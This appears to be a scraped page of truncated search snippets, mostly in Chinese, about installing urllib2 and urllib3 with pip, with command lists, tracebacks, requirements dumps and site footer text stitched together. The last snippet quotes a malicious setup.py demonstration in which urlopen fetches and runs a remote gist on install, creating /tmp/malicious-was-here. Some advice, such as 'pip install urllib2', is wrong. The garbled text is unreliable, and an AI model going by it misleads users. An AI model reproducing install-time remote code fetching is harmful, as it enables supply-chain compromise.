在命令行中输入以下命令: pip install urllib2 1. 这个命令会自动从Python的软件包索引中下载并安装urllib2库及其依赖项。 4. 示例代码 以下是一些使用urllib2的示例代码,你可以在安装完成后尝试运行它们: 4.1 发送GET请求 importurllib2# 创建一个请求对象request=urllib2.Request('# 发送请求并获取响应response=ur...
URLLIB3stringversionstringlicenseREQUESTSstringversionstringauthorondepends 结论 使用pip安装指定版本的urllib3是管理Python项目依赖的有效方法。确保在项目中维护好依赖版本,将有助于避免潜在的问题。此外,借助于甘特图和关系图等可视工具,可以更清晰地理解项目的进度和库之间的关系。 希望本文对你理解如何在Python中管理库...
Note Theurllib2module has been split across several modules inPython 3 namedurllib.requestandurllib.error.The2to3tool will automatically adapt imports when convertingyour sources to Python 3. Pyhton2中的urllib2工具包,在Python3中分拆成了urllib.request和urllib.error两个包。就导致找不到包,同时也没办...
File "/home/MySQL-python-1.2.4b4/distribute_setup.py", line 124, in _do_download to_dir, download_delay) File "/home/MySQL-python-1.2.4b4/distribute_setup.py", line 194, in download_setuptools src = urlopen(url) File "/usr/lib64/python2.7/urllib2.py", line 154, in urlopen return...
例如:pip install urllib3 --upgrade 升级pip pip install -U pip 或 python -m pip install --upgrade pip 如上图所示 二、uninstall 卸载安装包 pip uninstall <包名> 或 pip uninstall -r requirements.txt 例如:pip uninstall requests 三、freeze ...
例如:pip install urllib3 --upgrade 升级pip pip install -U pip 或 python -m pip install --upgrade pip 如上图所示 二、uninstall 卸载安装包 pip uninstall <包名> 或 pip uninstall -r requirements.txt 例如:pip uninstall requests 三、freeze pip freeze,可以查看已经安装的包及版本信息 导...
We read every piece of feedback, and take your input very seriously. Include my email address so I can be contacted Cancel Submit feedback Saved searches Use saved searches to filter your results more quickly Cancel Create saved search Sign in Sign up Reseting focus {...
urllib3==2.2.1 uuid==1.30 uvicorn==0.27.1 uvloop==0.19.0 watchfiles==0.21.0 websocket-client==1.7.0 websockets==12.0 Werkzeug==3.0.1 wrapt==1.16.0 wsproto==1.2.0 xlrd==2.0.1 yarl==1.9.4 zipp==3.17.0 zstandard @ file:///work/ci_py311_2/zstandard_1679339489613/work ...
Requirement already satisfied: idna<2.7,>=2.5 in d:\anaconda3\lib\site-packages(from requests>=2.0.0->tushare) (2.6) Requirement already satisfied: urllib3<1.23,>=1.21.1 in d:\anaconda3\lib\site-packages (from requests>=2.0.0->tushare) (1.22) ...
我们看到与gist.github.com的连接,正在执行一个Python文件,并在此处创建了一个名为/ tmp / malicious-was-here的文件。当然,这就是setup.py中发生的事情: 代码语言:javascript 复制 from urllib.requestimporturlopen handler=urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d...